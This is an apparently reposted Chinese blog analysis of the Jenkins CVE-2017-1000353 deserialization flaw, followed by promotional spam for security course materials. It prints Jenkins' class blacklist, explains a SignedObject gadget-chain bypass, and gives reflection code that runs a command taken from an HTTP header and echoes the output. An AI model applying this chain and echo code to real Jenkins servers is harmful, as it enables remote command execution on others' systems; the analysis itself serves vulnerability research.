漏洞分析|死磕Jenkins漏洞回显与利用效果_jenkins 漏洞
【代码】漏洞分析|死磕Jenkins漏洞回显与利用效果_jenkins 漏洞。
} catch (Throwable t) {
logger.log(Level.SEVERE, "Failed to execute command " + cmd + " (channel " + Channel.this.name + ")", t);
logger.log(Level.SEVERE, "This command is created here", cmd.createdAt);
}
}
......
});
ACTIVE_CHANNELS.put(this,ref());
}
在`setup()`方法中会通过`new ReaderThread(receiver).start();`创建一个子线程,
@Override
public void setup(Channel channel, CommandReceiver receiver) {
this.channel = channel;
new ReaderThread(receiver).start();
}
线程中会调用`ClassicCommandTransport`类的`read()`方法,
@Override
public void run() {
final String name =channel.getName();
try {
while(!channel.isInClosed()) {
Command cmd = null;
try {
cmd = read();
} catch (SocketTimeoutException ex) {
if (RDR_FAIL_ON_SOCKET_TIMEOUT) {
LOGGER.log(Level.SEVERE, “Socket timeout in the Synchronous channel reader.”
+ " The channel will be interrupted, because " + RDR_SOCKET_TIMEOUT_PROPERTY_NAME
+ " is set", ex);
throw ex;
}
}
…
}
}
}
该方法中功能包含一个`Command`类的`readFrom()`方法,会对传入的字节流进行`readObject()`操作,从而导致了反序列化代码执行。
public final Command read() throws IOException, ClassNotFoundException {
try {
Command cmd = Command.readFrom(channel, ois);
if (rawIn!=null)
rawIn.clear();
return cmd;
} catch (RuntimeException e) {// see JENKINS-19046
throw diagnoseStreamCorruption(e);
} catch (StreamCorruptedException e) {
throw diagnoseStreamCorruption(e);
}
}
static Command readFrom(Channel channel, ObjectInputStream ois) throws IOException, ClassNotFoundException {
Channel old = Channel.setCurrent(channel);
try {
return (Command)ois.readObject();
} finally {
Channel.setCurrent(old);
}
}
## 0x03 漏洞利用
在分析完漏洞原因后,我们需要思考如何构造Payload利用漏洞。由于Jenkins中包含了`org.apache.commons.collections`依赖项目,我们则就可以尝试用CC链进行反序列化攻击,但在Jenkins的黑名单中禁止了CC链的直接反序列化,则就需要找到一条链绕过黑名单的限制。
### 3.1 序列化黑名单
在漏洞分析章节中提到,`Channel()`方法会经过一系列的this调用,该过程中调用了`ChannelBuilder`类的`negotiate()`方法,该方法在return时调用了中的`makeTransport()`方法,返回了一个`ClassicCommandTransport`对象,在创建该对象过程中,会创建一个`ObjectInputStreamEx`对象并在传参过程中调用该类的`getClassFilter()`方法,`getClassFilter()`方法返回了一个`ClassFilter.DEFAULT`,`ClassFilter.DEFAULT`最终会返回了一个定义好的黑名单类列表,其中就包含了CC链中的相关类。
private static final String[] DEFAULT_PATTERNS = {
“^bsh[.].*”,
“^com[.]google[.]inject[.].*”,
“^com[.]mchange[.]v2[.]c3p0[.].*”,
“^com[.]sun[.]jndi[.].*”,
“^com[.]sun[.]corba[.].*”,
“^com[.]sun[.]javafx[.].*”,
“^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*”,
“^java[.]awt[.].*”,
“^java[.]rmi[.].*”,
“^javax[.]management[.].*”,
“^javax[.]naming[.].*”,
“^javax[.]script[.].*”,
“^javax[.]swing[.].*”,
“^org[.]apache[.]commons[.]beanutils[.].*”,
“^org[.]apache[.]commons[.]collections[.]functors[.].*”,
“^org[.]apache[.]myfaces[.].*”,
“^org[.]apache[.]wicket[.].*”,
“.*org[.]apache[.]xalan.*”,
“^org[.]codehaus[.]groovy[.]runtime[.].*”,
“^org[.]hibernate[.].*”,
“^org[.]python[.].*”,
“^org[.]springframework..*”,
“^sun[.]rmi[.].*”,
“^javax[.]imageio[.].*”,
“^java[.]util[.]ServiceLoader " , " j a v a [ . ] n e t [ . ] U R L C l a s s L o a d e r ", "^java[.]net[.]URLClassLoader ","java[.]net[.]URLClassLoader”
};
### 3.2 黑名单绕过
`jenkins`的黑名单限制了CC链利用的相关类,但`SignedObject`类没有在黑名单中,`SignedObject`类在创建对象时可以传入一个序列化类型的对象,并且`SignedObject`类的`getObject()`方法中会对传入的序列化对象进行反序列化操作,即调用`readObject()`方法,这里的`readObject()`方法并没有对限制CC类的使用,从而可以传入构造的序列化对象进行反序列化恶意执行代码。因此,需要构造一个调用链去调用`SignedObject`类的`getObject()`方法的利用链,从而绕过CC链的黑名单的限制,进行反序列化攻击。
### 3.3 CC利用链绕过的流程

### 3.4 Payload分析
在对`ReferenceMap`类进行反序列化时,会默认调用其`readObject`方法。

doReadObject方法对序列化流进行读取,分别复制给key和value,并调用put方法,将其放到一个map中


在put方法中,调用了`isEqualKey`方法对传入的两个key做比较

由于传入的key是`CopyOnWriteArraySet`对象因此会调用该对象的`equals`方法

在`CopyOnWriteArraySet.equals()`方法中调用了 `eq()`方法判断传入的两个对象是否相等。


由于在处理`CopyOnWriteArraySet`的`equals`方法中传入的对象是`CopyOnWriteArraySet`包装的`ConcurrentSkipListSet`对象和`ListOrderedSet`对象,因此会调用`ConcurrentSkipListSet`对象的`equals`对象将`ListOrderedSet`对象传入进去。

在Payload中,由于将`ListOrderedSet`对象的`collection`替换成了`JSONArray`对象。因此在调用`containsAll`方法中,会调用`JSONArray`类的`containsAll`方法对传入的 `ConcurrentSkipListSet`对象进行处理。

再经过`JSONArray`类内部的方法遍历元素,当传入的元素是一个对象时,则就是将其转换成JSON对象并使用`PropertyUtils.getProperty()`方法获取其中的属性值,在获取属性值的过程中通过反射机制调用了该`SignedObject`对象的`getObject()`,完成了CC链的入口点。

- JSONArray.containsAll() ->
- JSONArray.containsAll() ->
-
JSONArray.fromObject() -> -
JSONArray._fromCollection() -> -
JSONArray.addValue() -> -
JSONArray.processValue() -> -
JSONArray._processValue() -> -
AbstractJSON._processValue() -> -
JSONObject.fromObject() -> -
JSONObject._fromBean() -> -
JSONObject.defaultBeanProcessing() -> -
PropertyUtils.getProperty() -> -
PropertyUtilsBean.getProperty() -> -
PropertyUtilsBean.getNestedProperty() -> -
PropertyUtilsBean.getSimpleProperty() -> -
PropertyUtilsBean.invokeMethod() -> -
SignedObject.getObject() ->
### 3.5 SignedObject类
在`SignedObject`类的构造方法中传入了一个Serializable类型对象,并将其序列化并保存到了`content`属性中,在`SignedObject`的`getObject()`方法中对`content`进行了反序列化操作。


### 3.6 漏洞修复
官方的修复方式是将`SingedObejct`类加入了黑名单。

## 0x04 回显利用
上面我们已经绕过了CC链的黑名单限制,这时,我们就需要思考如何进行漏洞的利用效果,市面上的主流工具如vulhub给出的利用方式是通过jar包生成执行系统命令的序列化对象,但利用过程比较繁琐,无法便捷有效的展示漏洞利用效果。
针对jenkins的http请求和servlet的处理是基于jetty服务器实现的,在jetty服务器的回显马 [jetty789Echo.jsp]( ) 中给出了jetty的两种回显方式。由于CVE-2017-1000353漏洞在利用过程中创建了channel的特性,并将漏洞的download和upload类型的http请求传入了进去。这时我们就可以通过反射获取这个channel中的http属性,并通过传入http消息头中的某些字段进行读取传入的命令内容将其执行,并将执行结果在写入到响应包中,这样就完成了整个回显过程。
反射获取`channel`对象中的`underlyingOutput`属性
Field underlyingOutputField = channel.getClass().getDeclaredField(“underlyingOutput”);
underlyingOutputField.setAccessible(true);
Object underlyingOutput = underlyingOutputField.get(channel);
Object httpConnection;
在`underlyingOutput`属性的`_channel`和`this$0`的属性中保存了http请求响应的相关信息,通过反射获取`_channel`和`this$0`的属性并赋值给`httpConnection`对象
try{
Field _channelField = underlyingOutput.getClass().getDeclaredField(“_channel”);
_channelField.setAccessible(true);
httpConnection = _channelField.get(underlyingOutput);
}catch (Exception e){
Field connectionField = underlyingOutput.getClass().getDeclaredField(“this$0”);
connectionField.setAccessible(true);
httpConnection = connectionField.get(underlyingOutput);
}
获取到http信息后,再通过反射获取请求头中的命令执行cmd字段的值,并将其执行,写入到响应中。
Object request = httpConnection.getClass().getMethod(“getRequest”).invoke(httpConnection);
Object response = httpConnection.getClass().getMethod(“getResponse”).invoke(httpConnection);
String cmd = (String) request.getClass().getMethod(“getHeader”, String.class).invoke(request, “cmd”);
OutputStream outputStream = (OutputStream)response.getClass().getMethod(“getOutputStream”).invoke(response);
String result = “\n”+exec(cmd);
outputStream.write(result.getBytes());
outputStream.flush();

这些技术都集成在了Goby上,在Goby上就可以体验到CVE-2017-1000353漏洞一键命令执行、反弹shell的功能。
## 0x05 效果对比
| 工具/效果 | Goby | CVE-2017-1000353-SNAPSHOT-all.jar |
| --- | --- | --- |
| 执行命令 | 支持 | 支持 |
| 命令回显 | 支持 | 不支持 |
| 利用过程 | 一键命令执行 | 手工生成序列化数据包,执行脚本发送payload |
| 依赖环境 | 无需 | java、python |
| 便捷性 | 操作简单 | 操作繁琐 |
最后感谢 @irelia 师傅的漏洞问题反馈,已奖励红队版15天。我们期待更多师傅真诚反馈产品问题,这对 Goby 的进步至关重要。可加入微信群:公众号发暗号“加群”。
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**






**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!**
**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**
**如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)**

本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

### 学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

#### 网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份**我自己整理的网络安全入门工具以及使用教程和实战。**

#### 项目实战
最后就是项目实战,这里带来的是**SRC资料&HW资料**,毕竟实战是检验真理的唯一标准嘛~

#### 面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

227d8f959.jpeg)
#### 项目实战
最后就是项目实战,这里带来的是**SRC资料&HW资料**,毕竟实战是检验真理的唯一标准嘛~

#### 面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
[外链图片转存中...(img-zpjBxH72-1712912142842)]
魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐

所有评论(0)